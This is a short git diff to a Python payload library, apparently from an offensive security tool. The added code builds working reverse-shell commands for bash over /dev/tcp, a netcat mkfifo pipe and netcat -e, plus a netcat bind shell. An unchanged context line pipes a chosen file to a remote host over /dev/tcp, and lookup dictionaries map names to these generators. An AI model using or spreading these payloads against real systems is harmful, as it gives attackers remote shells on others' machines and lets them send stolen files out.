diff --git a/lib/payloads.py b/lib/payloads.py index 92563f3..38669db 100644 --- a/lib/payloads.py +++ b/lib/payloads.py @@ -1,7 +1,15 @@ class Shells: class Rev: - def bash(ip,port,shell,protocol): - return f"bash -c \\\"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 & \\\";" + def bash(ip,port,protocol): + return f"bash -c \\\"/bin/bash -i >& /dev/{protocol}/{ip}/{port} 0>&1 &\\\"; " + def nc(ip,port,protocol): + return f"bash -c \\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f &\\\"; " + def nce(ip,port,protocol): + return f"bash -c \\\"nc {ip} {port} -e /bin/bash &\\\" ;" + class Bind: + def ncbind(ip,port,protocol): + return f"rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l {ip} {port} > /tmp/f &; " + class Exfil: def socket(ip,port,file): return f"cat {file} &> /dev/tcp/{ip}/{port} ;" @@ -11,3 +19,13 @@ class Exfil: +func_dict = { + 'bash':Shells.Rev.bash, + 'nc':Shells.Rev.nc, + 'nce':Shells.Rev.nce + +} + +func_dict2 = { + 'nc':Shells.Bind.ncbind +}